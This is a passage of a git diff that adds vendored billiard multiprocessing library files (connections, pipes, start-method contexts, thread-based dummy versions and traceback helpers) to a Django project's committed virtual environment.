'detach'): + return sock.detach() + # older socket lib does not have detach. We'll keep a reference around + # so that it does not get garbage collected. + return _SocketContainer(sock) + + +if sys.platform != 'win32': + + def Pipe(duplex=True, rnonblock=False, wnonblock=False): + ''' + Returns pair of connection objects at either end of a pipe + ''' + if duplex: + s1, s2 = socket.socketpair() + s1.setblocking(not rnonblock) + s2.setblocking(not wnonblock) + c1 = Connection(detach(s1)) + c2 = Connection(detach(s2)) + else: + fd1, fd2 = os.pipe() + if rnonblock: + setblocking(fd1, 0) + if wnonblock: + setblocking(fd2, 0) + c1 = Connection(fd1, writable=False) + c2 = Connection(fd2, readable=False) + + return c1, c2 + +else: + + def Pipe(duplex=True, rnonblock=False, wnonblock=False): + ''' + Returns pair of connection objects at either end of a pipe + ''' + assert not rnonblock, 'rnonblock not supported on windows' + assert not wnonblock, 'wnonblock not supported on windows' + address = arbitrary_address('AF_PIPE') + if duplex: + openmode = _winapi.PIPE_ACCESS_DUPLEX + access = _winapi.GENERIC_READ | _winapi.GENERIC_WRITE + obsize, ibsize = BUFSIZE, BUFSIZE + else: + openmode = _winapi.PIPE_ACCESS_INBOUND + access = _winapi.GENERIC_WRITE + obsize, ibsize = 0, BUFSIZE + + h1 = _winapi.CreateNamedPipe( + address, openmode | _winapi.FILE_FLAG_OVERLAPPED | + _winapi.FILE_FLAG_FIRST_PIPE_INSTANCE, + _winapi.PIPE_TYPE_MESSAGE | _winapi.PIPE_READMODE_MESSAGE | + _winapi.PIPE_WAIT, + 1, obsize, ibsize, _winapi.NMPWAIT_WAIT_FOREVER, + # default security descriptor: the handle cannot be inherited + _winapi.NULL + ) + h2 = _winapi.CreateFile( + address, access, 0, _winapi.NULL, _winapi.OPEN_EXISTING, + _winapi.FILE_FLAG_OVERLAPPED, _winapi.NULL + ) + _winapi.SetNamedPipeHandleState( + h2, _winapi.PIPE_READMODE_MESSAGE, None, None + ) + + overlapped = _winapi.ConnectNamedPipe(h1, overlapped=True) + _, err = overlapped.GetOverlappedResult(True) + assert err == 0 + + c1 = PipeConnection(h1, writable=duplex) + c2 = PipeConnection(h2, readable=duplex) + + return c1, c2 + +# +# Definitions for connections based on sockets +# + + +class SocketListener(object): + ''' + Representation of a socket which is bound to an address and listening + ''' + def __init__(self, address, family, backlog=1): + self._socket = socket.socket(getattr(socket, family)) + try: + # SO_REUSEADDR has different semantics on Windows (issue #2550). + if os.name == 'posix': + self._socket.setsockopt(socket.SOL_SOCKET, + socket.SO_REUSEADDR, 1) + self._socket.setblocking(True) + self._socket.bind(address) + self._socket.listen(backlog) + self._address = self._socket.getsockname() + except OSError: + self._socket.close() + raise + self._family = family + self._last_accepted = None + + if family == 'AF_UNIX': + self._unlink = util.Finalize( + self, os.unlink, args=(address,), exitpriority=0 + ) + else: + self._unlink = None + + def accept(self): + while True: + try: + s, self._last_accepted = self._socket.accept() + except (OSError, IOError, socket.error) as exc: + if getattr(exc, 'errno', None) != errno.EINTR: + raise + else: + break + s.setblocking(True) + return Connection(detach(s)) + + def close(self): + try: + self._socket.close() + finally: + unlink = self._unlink + if unlink is not None: + self._unlink = None + unlink() + + +def SocketClient(address): + ''' + Return a connection object connected to the socket given by `address` + ''' + family = address_type(address) + s = socket.socket(getattr(socket, family)) + s.setblocking(True) + s.connect(address) + return Connection(detach(s)) + +# +# Definitions for connections based on named pipes +# + +if sys.platform == 'win32': + + class PipeListener(object): + ''' + Representation of a named pipe + ''' + def __init__(self, address, backlog=None): + self._address = address + self._handle_queue = [self._new_handle(first=True)] + + self._last_accepted = None + util.sub_debug('listener created with address=%r', self._address) + self.close = util.Finalize( + self, PipeListener._finalize_pipe_listener, + args=(self._handle_queue, self._address), exitpriority=0 + ) + + def _new_handle(self, first=False): + flags = _winapi.PIPE_ACCESS_DUPLEX | _winapi.FILE_FLAG_OVERLAPPED + if first: + flags |= _winapi.FILE_FLAG_FIRST_PIPE_INSTANCE + return _winapi.CreateNamedPipe( + self._address, flags, + _winapi.PIPE_TYPE_MESSAGE | _winapi.PIPE_READMODE_MESSAGE | + _winapi.PIPE_WAIT, + _winapi.PIPE_UNLIMITED_INSTANCES, BUFSIZE, BUFSIZE, + _winapi.NMPWAIT_WAIT_FOREVER, _winapi.NULL + ) + + def accept(self): + self._handle_queue.append(self._new_handle()) + handle = self._handle_queue.pop(0) + try: + ov = _winapi.ConnectNamedPipe(handle, overlapped=True) + except OSError as e: + if e.winerror != _winapi.ERROR_NO_DATA: + raise + # ERROR_NO_DATA can occur if a client has already connected, + # written data and then disconnected -- see Issue 14725. + else: + try: + _winapi.WaitForMultipleObjects( + [ov.event], False, INFINITE) + except: + ov.cancel() + _winapi.CloseHandle(handle) + raise + finally: + _, err = ov.GetOverlappedResult(True) + assert err == 0 + return PipeConnection(handle) + + @staticmethod + def _finalize_pipe_listener(queue, address): + util.sub_debug('closing listener with address=%r', address) + for handle in queue: + _winapi.CloseHandle(handle) + + def PipeClient(address, _ignore=(_winapi.ERROR_SEM_TIMEOUT, + _winapi.ERROR_PIPE_BUSY)): + ''' + Return a connection object connected to the pipe given by `address` + ''' + t = _init_timeout() + while 1: + try: + _winapi.WaitNamedPipe(address, 1000) + h = _winapi.CreateFile( + address, _winapi.GENERIC_READ | _winapi.GENERIC_WRITE, + 0, _winapi.NULL, _winapi.OPEN_EXISTING, + _winapi.FILE_FLAG_OVERLAPPED, _winapi.NULL + ) + except OSError as e: + if e.winerror not in _ignore or _check_timeout(t): + raise + else: + break + else: + raise + + _winapi.SetNamedPipeHandleState( + h, _winapi.PIPE_READMODE_MESSAGE, None, None + ) + return PipeConnection(h) + +# +# Authentication stuff +# + +MESSAGE_LENGTH = 20 + +CHALLENGE = b'#CHALLENGE#' +WELCOME = b'#WELCOME#' +FAILURE = b'#FAILURE#' + + +def deliver_challenge(connection, authkey): + import hmac + assert isinstance(authkey, bytes) + message = os.urandom(MESSAGE_LENGTH) + connection.send_bytes(CHALLENGE + message) + digest = hmac.new(authkey, message, 'md5').digest() + response = connection.recv_bytes(256) # reject large message + if response == digest: + connection.send_bytes(WELCOME) + else: + connection.send_bytes(FAILURE) + raise AuthenticationError('digest received was wrong') + + +def answer_challenge(connection, authkey): + import hmac + assert isinstance(authkey, bytes) + message = connection.recv_bytes(256) # reject large message + assert message[:len(CHALLENGE)] == CHALLENGE, 'message = %r' % message + message = message[len(CHALLENGE):] + digest = hmac.new(authkey, message, 'md5').digest() + connection.send_bytes(digest) + response = connection.recv_bytes(256) # reject large message + if response != WELCOME: + raise AuthenticationError('digest sent was rejected') + +# +# Support for using xmlrpclib for serialization +# + + +class ConnectionWrapper(object): + + def __init__(self, conn, dumps, loads): + self._conn = conn + self._dumps = dumps + self._loads = loads + for attr in ('fileno', 'close', 'poll', 'recv_bytes', 'send_bytes'): + obj = getattr(conn, attr) + setattr(self, attr, obj) + + def send(self, obj): + s = self._dumps(obj) + self._conn.send_bytes(s) + + def recv(self): + s = self._conn.recv_bytes() + return self._loads(s) + + +def _xml_dumps(obj): + o = xmlrpclib.dumps((obj, ), None, None, None, 1) # noqa + return o.encode('utf-8') + + +def _xml_loads(s): + (obj,), method = xmlrpclib.loads(s.decode('utf-8')) # noqa + return obj + + +class XmlListener(Listener): + + def accept(self): + global xmlrpclib + import xmlrpc.client as xmlrpclib # noqa + obj = Listener.accept(self) + return ConnectionWrapper(obj, _xml_dumps, _xml_loads) + + +def XmlClient(*args, **kwds): + global xmlrpclib + import xmlrpc.client as xmlrpclib # noqa + return ConnectionWrapper(Client(*args, **kwds), _xml_dumps, _xml_loads) + +# +# Wait +# + +if sys.platform == 'win32': + + def _exhaustive_wait(handles, timeout): + # Return ALL handles which are currently signaled. (Only + # returning the first signaled might create starvation issues.) + L = list(handles) + ready = [] + while L: + res = _winapi.WaitForMultipleObjects(L, False, timeout) + if res == WAIT_TIMEOUT: + break + elif WAIT_OBJECT_0 <= res < WAIT_OBJECT_0 + len(L): + res -= WAIT_OBJECT_0 + elif WAIT_ABANDONED_0 <= res < WAIT_ABANDONED_0 + len(L): + res -= WAIT_ABANDONED_0 + else: + raise RuntimeError('Should not get here') + ready.append(L[res]) + L = L[res + 1:] + timeout = 0 + return ready + + _ready_errors = {_winapi.ERROR_BROKEN_PIPE, _winapi.ERROR_NETNAME_DELETED} + + def wait(object_list, timeout=None): + ''' + Wait till an object in object_list is ready/readable. + + Returns list of those objects in object_list which are ready/readable. + ''' + if timeout is None: + timeout = INFINITE + elif timeout < 0: + timeout = 0 + else: + timeout = int(timeout * 1000 + 0.5) + + object_list = list(object_list) + waithandle_to_obj = {} + ov_list = [] + ready_objects = set() + ready_handles = set() + + try: + for o in object_list: + try: + fileno = getattr(o, 'fileno') + except AttributeError: + waithandle_to_obj[o.__index__()] = o + else: + # start an overlapped read of length zero + try: + ov, err = _winapi.ReadFile(fileno(), 0, True) + except OSError as e: + err = e.winerror + if err not in _ready_errors: + raise + if err == _winapi.ERROR_IO_PENDING: + ov_list.append(ov) + waithandle_to_obj[ov.event] = o + else: + # If o.fileno() is an overlapped pipe handle and + # err == 0 then there is a zero length message + # in the pipe, but it HAS NOT been consumed. + ready_objects.add(o) + timeout = 0 + + ready_handles = _exhaustive_wait(waithandle_to_obj.keys(), timeout) + finally: + # request that overlapped reads stop + for ov in ov_list: + ov.cancel() + + # wait for all overlapped reads to stop + for ov in ov_list: + try: + _, err = ov.GetOverlappedResult(True) + except OSError as e: + err = e.winerror + if err not in _ready_errors: + raise + if err != _winapi.ERROR_OPERATION_ABORTED: + o = waithandle_to_obj[ov.event] + ready_objects.add(o) + if err == 0: + # If o.fileno() is an overlapped pipe handle then + # a zero length message HAS been consumed. + if hasattr(o, '_got_empty_message'): + o._got_empty_message = True + + ready_objects.update(waithandle_to_obj[h] for h in ready_handles) + return [p for p in object_list if p in ready_objects] + +else: + + if hasattr(select, 'poll'): + def _poll(fds, timeout): + if timeout is not None: + timeout = int(timeout * 1000) # timeout is in milliseconds + fd_map = {} + pollster = select.poll() + for fd in fds: + pollster.register(fd, select.POLLIN) + if hasattr(fd, 'fileno'): + fd_map[fd.fileno()] = fd + else: + fd_map[fd] = fd + ls = [] + for fd, event in pollster.poll(timeout): + if event & select.POLLNVAL: + raise ValueError('invalid file descriptor %i' % fd) + ls.append(fd_map[fd]) + return ls + else: + def _poll(fds, timeout): # noqa + return select.select(fds, [], [], timeout)[0] + + def wait(object_list, timeout=None): # noqa + ''' + Wait till an object in object_list is ready/readable. + + Returns list of those objects in object_list which are ready/readable. + ''' + if timeout is not None: + if timeout <= 0: + return _poll(object_list, 0) + else: + deadline = monotonic() + timeout + while True: + try: + return _poll(object_list, timeout) + except (OSError, IOError, socket.error) as e: + if e.errno != errno.EINTR: + raise + if timeout is not None: + timeout = deadline - monotonic() + +# +# Make connection and socket objects sharable if possible +# + +if sys.platform == 'win32': + def reduce_connection(conn): + handle = conn.fileno() + with socket.fromfd(handle, socket.AF_INET, socket.SOCK_STREAM) as s: + from . import resource_sharer + ds = resource_sharer.DupSocket(s) + return rebuild_connection, (ds, conn.readable, conn.writable) + + def rebuild_connection(ds, readable, writable): + sock = ds.detach() + return Connection(detach(sock), readable, writable) + reduction.register(Connection, reduce_connection) + + def reduce_pipe_connection(conn): + access = ((_winapi.FILE_GENERIC_READ if conn.readable else 0) | + (_winapi.FILE_GENERIC_WRITE if conn.writable else 0)) + dh = reduction.DupHandle(conn.fileno(), access) + return rebuild_pipe_connection, (dh, conn.readable, conn.writable) + + def rebuild_pipe_connection(dh, readable, writable): + return PipeConnection(detach(dh), readable, writable) + reduction.register(PipeConnection, reduce_pipe_connection) + +else: + def reduce_connection(conn): + df = reduction.DupFd(conn.fileno()) + return rebuild_connection, (df, conn.readable, conn.writable) + + def rebuild_connection(df, readable, writable): + return Connection(detach(df), readable, writable) + reduction.register(Connection, reduce_connection) diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/context.py b/django_lottopy/lib/python3.10/site-packages/billiard/context.py new file mode 100644 index 00000000..3bfa8dc8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/context.py @@ -0,0 +1,422 @@ +from __future__ import absolute_import + +import os +import sys +import threading +import warnings + +from . import process + +__all__ = [] # things are copied from here to __init__.py + + +W_NO_EXECV = """\ +force_execv is not supported as the billiard C extension \ +is not installed\ +""" + + +# +# Exceptions +# + +from .exceptions import ( # noqa + ProcessError, + BufferTooShort, + TimeoutError, + AuthenticationError, + TimeLimitExceeded, + SoftTimeLimitExceeded, + WorkerLostError, +) + + +# +# Base type for contexts +# + +class BaseContext(object): + + ProcessError = ProcessError + BufferTooShort = BufferTooShort + TimeoutError = TimeoutError + AuthenticationError = AuthenticationError + TimeLimitExceeded = TimeLimitExceeded + SoftTimeLimitExceeded = SoftTimeLimitExceeded + WorkerLostError = WorkerLostError + + current_process = staticmethod(process.current_process) + active_children = staticmethod(process.active_children) + + if hasattr(os, 'cpu_count'): + def cpu_count(self): + '''Returns the number of CPUs in the system''' + num = os.cpu_count() + if num is None: + raise NotImplementedError('cannot determine number of cpus') + else: + return num + else: + def cpu_count(self): # noqa + if sys.platform == 'win32': + try: + num = int(os.environ['NUMBER_OF_PROCESSORS']) + except (ValueError, KeyError): + num = 0 + elif 'bsd' in sys.platform or sys.platform == 'darwin': + comm = '/sbin/sysctl -n hw.ncpu' + if sys.platform == 'darwin': + comm = '/usr' + comm + try: + with os.popen(comm) as p: + num = int(p.read()) + except ValueError: + num = 0 + else: + try: + num = os.sysconf('SC_NPROCESSORS_ONLN') + except (ValueError, OSError, AttributeError): + num = 0 + + if num >= 1: + return num + else: + raise NotImplementedError('cannot determine number of cpus') + + def Manager(self): + '''Returns a manager associated with a running server process + + The managers methods such as `Lock()`, `Condition()` and `Queue()` + can be used to create shared objects. + ''' + from .managers import SyncManager + m = SyncManager(ctx=self.get_context()) + m.start() + return m + + def Pipe(self, duplex=True, rnonblock=False, wnonblock=False): + '''Returns two connection object connected by a pipe''' + from .connection import Pipe + return Pipe(duplex, rnonblock, wnonblock) + + def Lock(self): + '''Returns a non-recursive lock object''' + from .synchronize import Lock + return Lock(ctx=self.get_context()) + + def RLock(self): + '''Returns a recursive lock object''' + from .synchronize import RLock + return RLock(ctx=self.get_context()) + + def Condition(self, lock=None): + '''Returns a condition object''' + from .synchronize import Condition + return Condition(lock, ctx=self.get_context()) + + def Semaphore(self, value=1): + '''Returns a semaphore object''' + from .synchronize import Semaphore + return Semaphore(value, ctx=self.get_context()) + + def BoundedSemaphore(self, value=1): + '''Returns a bounded semaphore object''' + from .synchronize import BoundedSemaphore + return BoundedSemaphore(value, ctx=self.get_context()) + + def Event(self): + '''Returns an event object''' + from .synchronize import Event + return Event(ctx=self.get_context()) + + def Barrier(self, parties, action=None, timeout=None): + '''Returns a barrier object''' + from .synchronize import Barrier + return Barrier(parties, action, timeout, ctx=self.get_context()) + + def Queue(self, maxsize=0): + '''Returns a queue object''' + from .queues import Queue + return Queue(maxsize, ctx=self.get_context()) + + def JoinableQueue(self, maxsize=0): + '''Returns a queue object''' + from .queues import JoinableQueue + return JoinableQueue(maxsize, ctx=self.get_context()) + + def SimpleQueue(self): + '''Returns a queue object''' + from .queues import SimpleQueue + return SimpleQueue(ctx=self.get_context()) + + def Pool(self, processes=None, initializer=None, initargs=(), + maxtasksperchild=None, timeout=None, soft_timeout=None, + lost_worker_timeout=None, max_restarts=None, + max_restart_freq=1, on_process_up=None, on_process_down=None, + on_timeout_set=None, on_timeout_cancel=None, threads=True, + semaphore=None, putlocks=False, allow_restart=False): + '''Returns a process pool object''' + from .pool import Pool + return Pool(processes, initializer, initargs, maxtasksperchild, + timeout, soft_timeout, lost_worker_timeout, + max_restarts, max_restart_freq, on_process_up, + on_process_down, on_timeout_set, on_timeout_cancel, + threads, semaphore, putlocks, allow_restart, + context=self.get_context()) + + def RawValue(self, typecode_or_type, *args): + '''Returns a shared object''' + from .sharedctypes import RawValue + return RawValue(typecode_or_type, *args) + + def RawArray(self, typecode_or_type, size_or_initializer): + '''Returns a shared array''' + from .sharedctypes import RawArray + return RawArray(typecode_or_type, size_or_initializer) + + def Value(self, typecode_or_type, *args, **kwargs): + '''Returns a synchronized shared object''' + from .sharedctypes import Value + lock = kwargs.get('lock', True) + return Value(typecode_or_type, *args, lock=lock, + ctx=self.get_context()) + + def Array(self, typecode_or_type, size_or_initializer, *args, **kwargs): + '''Returns a synchronized shared array''' + from .sharedctypes import Array + lock = kwargs.get('lock', True) + return Array(typecode_or_type, size_or_initializer, lock=lock, + ctx=self.get_context()) + + def freeze_support(self): + '''Check whether this is a fake forked process in a frozen executable. + If so then run code specified by commandline and exit. + ''' + if sys.platform == 'win32' and getattr(sys, 'frozen', False): + from .spawn import freeze_support + freeze_support() + + def get_logger(self): + '''Return package logger -- if it does not already exist then + it is created. + ''' + from .util import get_logger + return get_logger() + + def log_to_stderr(self, level=None): + '''Turn on logging and add a handler which prints to stderr''' + from .util import log_to_stderr + return log_to_stderr(level) + + def allow_connection_pickling(self): + '''Install support for sending connections and sockets + between processes + ''' + # This is undocumented. In previous versions of multiprocessing + # its only effect was to make socket objects inheritable on Windows. + from . import connection # noqa + + def set_executable(self, executable): + '''Sets the path to a python.exe or pythonw.exe binary used to run + child processes instead of sys.executable when using the 'spawn' + start method. Useful for people embedding Python. + ''' + from .spawn import set_executable + set_executable(executable) + + def set_forkserver_preload(self, module_names): + '''Set list of module names to try to load in forkserver process. + This is really just a hint. + ''' + from .forkserver import set_forkserver_preload + set_forkserver_preload(module_names) + + def get_context(self, method=None): + if method is None: + return self + try: + ctx = _concrete_contexts[method] + except KeyError: + raise ValueError('cannot find context for %r' % method) + ctx._check_available() + return ctx + + def get_start_method(self, allow_none=False): + return self._name + + def set_start_method(self, method=None): + raise ValueError('cannot set start method of concrete context') + + def forking_is_enabled(self): + # XXX for compatibility with billiard <3.4 + return (self.get_start_method() or 'fork') == 'fork' + + def forking_enable(self, value): + # XXX for compatibility with billiard <3.4 + if not value: + from ._ext import supports_exec + if supports_exec: + self.set_start_method('spawn', force=True) + else: + warnings.warn(RuntimeWarning(W_NO_EXECV)) + + def _check_available(self): + pass + +# +# Type of default context -- underlying context can be set at most once +# + + +class Process(process.BaseProcess): + _start_method = None + + @staticmethod + def _Popen(process_obj): + return _default_context.get_context().Process._Popen(process_obj) + + +class DefaultContext(BaseContext): + Process = Process + + def __init__(self, context): + self._default_context = context + self._actual_context = None + + def get_context(self, method=None): + if method is None: + if self._actual_context is None: + self._actual_context = self._default_context + return self._actual_context + else: + return super(DefaultContext, self).get_context(method) + + def set_start_method(self, method, force=False): + if self._actual_context is not None and not force: + raise RuntimeError('context has already been set') + if method is None and force: + self._actual_context = None + return + self._actual_context = self.get_context(method) + + def get_start_method(self, allow_none=False): + if self._actual_context is None: + if allow_none: + return None + self._actual_context = self._default_context + return self._actual_context._name + + def get_all_start_methods(self): + if sys.platform == 'win32': + return ['spawn'] + else: + from . import reduction + if reduction.HAVE_SEND_HANDLE: + return ['fork', 'spawn', 'forkserver'] + else: + return ['fork', 'spawn'] + +DefaultContext.__all__ = list(x for x in dir(DefaultContext) if x[0] != '_') + +# +# Context types for fixed start method +# + +if sys.platform != 'win32': + + class ForkProcess(process.BaseProcess): + _start_method = 'fork' + + @staticmethod + def _Popen(process_obj): + from .popen_fork import Popen + return Popen(process_obj) + + class SpawnProcess(process.BaseProcess): + _start_method = 'spawn' + + @staticmethod + def _Popen(process_obj): + from .popen_spawn_posix import Popen + return Popen(process_obj) + + class ForkServerProcess(process.BaseProcess): + _start_method = 'forkserver' + + @staticmethod + def _Popen(process_obj): + from .popen_forkserver import Popen + return Popen(process_obj) + + class ForkContext(BaseContext): + _name = 'fork' + Process = ForkProcess + + class SpawnContext(BaseContext): + _name = 'spawn' + Process = SpawnProcess + + class ForkServerContext(BaseContext): + _name = 'forkserver' + Process = ForkServerProcess + + def _check_available(self): + from . import reduction + if not reduction.HAVE_SEND_HANDLE: + raise ValueError('forkserver start method not available') + + _concrete_contexts = { + 'fork': ForkContext(), + 'spawn': SpawnContext(), + 'forkserver': ForkServerContext(), + } + _default_context = DefaultContext(_concrete_contexts['fork']) + +else: + + class SpawnProcess(process.BaseProcess): + _start_method = 'spawn' + + @staticmethod + def _Popen(process_obj): + from .popen_spawn_win32 import Popen + return Popen(process_obj) + + class SpawnContext(BaseContext): + _name = 'spawn' + Process = SpawnProcess + + _concrete_contexts = { + 'spawn': SpawnContext(), + } + _default_context = DefaultContext(_concrete_contexts['spawn']) + +# +# Force the start method +# + + +def _force_start_method(method): + _default_context._actual_context = _concrete_contexts[method] + +# +# Check that the current thread is spawning a child process +# + +_tls = threading.local() + + +def get_spawning_popen(): + return getattr(_tls, 'spawning_popen', None) + + +def set_spawning_popen(popen): + _tls.spawning_popen = popen + + +def assert_spawning(obj): + if get_spawning_popen() is None: + raise RuntimeError( + '%s objects should only be shared between processes' + ' through inheritance' % type(obj).__name__ + ) diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/dummy/__init__.py b/django_lottopy/lib/python3.10/site-packages/billiard/dummy/__init__.py new file mode 100644 index 00000000..032f5f15 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/dummy/__init__.py @@ -0,0 +1,167 @@ +# +# Support for the API of the multiprocessing package using threads +# +# multiprocessing/dummy/__init__.py +# +# Copyright (c) 2006-2008, R Oudkerk +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: +# +# 1. Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# 3. Neither the name of author nor the names of any contributors may be +# used to endorse or promote products derived from this software +# without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +# SUCH DAMAGE. +# +from __future__ import absolute_import + +# +# Imports +# + +import threading +import sys +import weakref +import array + +from threading import Lock, RLock, Semaphore, BoundedSemaphore +from threading import Event + +from billiard.five import Queue + +from billiard.connection import Pipe + +__all__ = [ + 'Process', 'current_process', 'active_children', 'freeze_support', + 'Lock', 'RLock', 'Semaphore', 'BoundedSemaphore', 'Condition', + 'Event', 'Queue', 'Manager', 'Pipe', 'Pool', 'JoinableQueue' +] + + +class DummyProcess(threading.Thread): + + def __init__(self, group=None, target=None, name=None, args=(), kwargs={}): + threading.Thread.__init__(self, group, target, name, args, kwargs) + self._pid = None + self._children = weakref.WeakKeyDictionary() + self._start_called = False + self._parent = current_process() + + def start(self): + assert self._parent is current_process() + self._start_called = True + if hasattr(self._parent, '_children'): + self._parent._children[self] = None + threading.Thread.start(self) + + @property + def exitcode(self): + if self._start_called and not self.is_alive(): + return 0 + else: + return None + + +try: + _Condition = threading._Condition +except AttributeError: # Py3 + _Condition = threading.Condition # noqa + + +class Condition(_Condition): + if sys.version_info[0] == 3: + notify_all = _Condition.notifyAll + else: + notify_all = _Condition.notifyAll.__func__ + + +Process = DummyProcess +current_process = threading.current_thread +current_process()._children = weakref.WeakKeyDictionary() + + +def active_children(): + children = current_process()._children + for p in list(children): + if not p.is_alive(): + children.pop(p, None) + return list(children) + + +def freeze_support(): + pass + + +class Namespace(object): + + def __init__(self, **kwds): + self.__dict__.update(kwds) + + def __repr__(self): + items = list(self.__dict__.items()) + temp = [] + for name, value in items: + if not name.startswith('_'): + temp.append('%s=%r' % (name, value)) + temp.sort() + return '%s(%s)' % (self.__class__.__name__, str.join(', ', temp)) + + +dict = dict +list = list + + +def Array(typecode, sequence, lock=True): + return array.array(typecode, sequence) + + +class Value(object): + + def __init__(self, typecode, value, lock=True): + self._typecode = typecode + self._value = value + + def _get(self): + return self._value + + def _set(self, value): + self._value = value + value = property(_get, _set) + + def __repr__(self): + return '<%r(%r, %r)>' % (type(self).__name__, + self._typecode, self._value) + + +def Manager(): + return sys.modules[__name__] + + +def shutdown(): + pass + + +def Pool(processes=None, initializer=None, initargs=()): + from billiard.pool import ThreadPool + return ThreadPool(processes, initializer, initargs) + + +JoinableQueue = Queue diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/dummy/connection.py b/django_lottopy/lib/python3.10/site-packages/billiard/dummy/connection.py new file mode 100644 index 00000000..6bf6b9d0 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/dummy/connection.py @@ -0,0 +1,93 @@ +# +# Analogue of `multiprocessing.connection` which uses queues instead of sockets +# +# multiprocessing/dummy/connection.py +# +# Copyright (c) 2006-2008, R Oudkerk +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: +# +# 1. Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# 3. Neither the name of author nor the names of any contributors may be +# used to endorse or promote products derived from this software +# without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +# SUCH DAMAGE. +# +from __future__ import absolute_import + +from billiard.five import Queue + +__all__ = ['Client', 'Listener', 'Pipe'] + +families = [None] + + +class Listener(object): + + def __init__(self, address=None, family=None, backlog=1): + self._backlog_queue = Queue(backlog) + + def accept(self): + return Connection(*self._backlog_queue.get()) + + def close(self): + self._backlog_queue = None + + address = property(lambda self: self._backlog_queue) + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + self.close() + + +def Client(address): + _in, _out = Queue(), Queue() + address.put((_out, _in)) + return Connection(_in, _out) + + +def Pipe(duplex=True): + a, b = Queue(), Queue() + return Connection(a, b), Connection(b, a) + + +class Connection(object): + + def __init__(self, _in, _out): + self._out = _out + self._in = _in + self.send = self.send_bytes = _out.put + self.recv = self.recv_bytes = _in.get + + def poll(self, timeout=0.0): + if self._in.qsize() > 0: + return True + if timeout <= 0.0: + return False + self._in.not_empty.acquire() + self._in.not_empty.wait(timeout) + self._in.not_empty.release() + return self._in.qsize() > 0 + + def close(self): + pass diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/einfo.py b/django_lottopy/lib/python3.10/site-packages/billiard/einfo.py new file mode 100644 index 00000000..236f400c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/einfo.py @@ -0,0 +1,135 @@ +from __future__ import absolute_import + +import sys +import traceback + +__all__ = ['ExceptionInfo', 'Traceback'] + +DEFAULT_MAX_FRAMES = sys.getrecursionlimit() // 8 + + +class _Code(object): + + def __init__(self, code): + self.co_filename = code.co_filename + self.co_name = code.co_name + self.co_argcount = code.co_argcount + self.co_cellvars = () + self.co_firstlineno = code.co_firstlineno + self.co_flags = code.co_flags + self.co_freevars = () + self.co_code = b'' + self.co_lnotab = b'' + self.co_names = code.co_names + self.co_nlocals = code.co_nlocals + self.co_stacksize = code.co_stacksize + self.co_varnames = () + + +class _Frame(object): + Code = _Code + + def __init__(self, frame): + self.f_builtins = {} + self.f_globals = { + "__file__": frame.f_globals.get("__file__", "__main__"), + "__name__": frame.f_globals.get("__name__"), + "__loader__": None, + } + self.f_locals = fl = {} + try: + fl["__traceback_hide__"] = frame.f_locals["__traceback_hide__"] + except KeyError: + pass + self.f_back = None + self.f_trace = None + self.f_exc_traceback = None + self.f_exc_type = None + self.f_exc_value = None + self.f_code = self.Code(frame.f_code) + self.f_lineno = frame.f_lineno + self.f_lasti = frame.f_lasti + # don't want to hit https://bugs.python.org/issue21967 + self.f_restricted = False + + +class _Object(object): + + def __init__(self, **kw): + [setattr(self, k, v) for k, v in kw.items()] + + +class _Truncated(object): + + def __init__(self): + self.tb_lineno = -1 + self.tb_frame = _Object( + f_globals={"__file__": "", + "__name__": "", + "__loader__": None}, + f_fileno=None, + f_code=_Object(co_filename="...", + co_name="[rest of traceback truncated]"), + ) + self.tb_next = None + 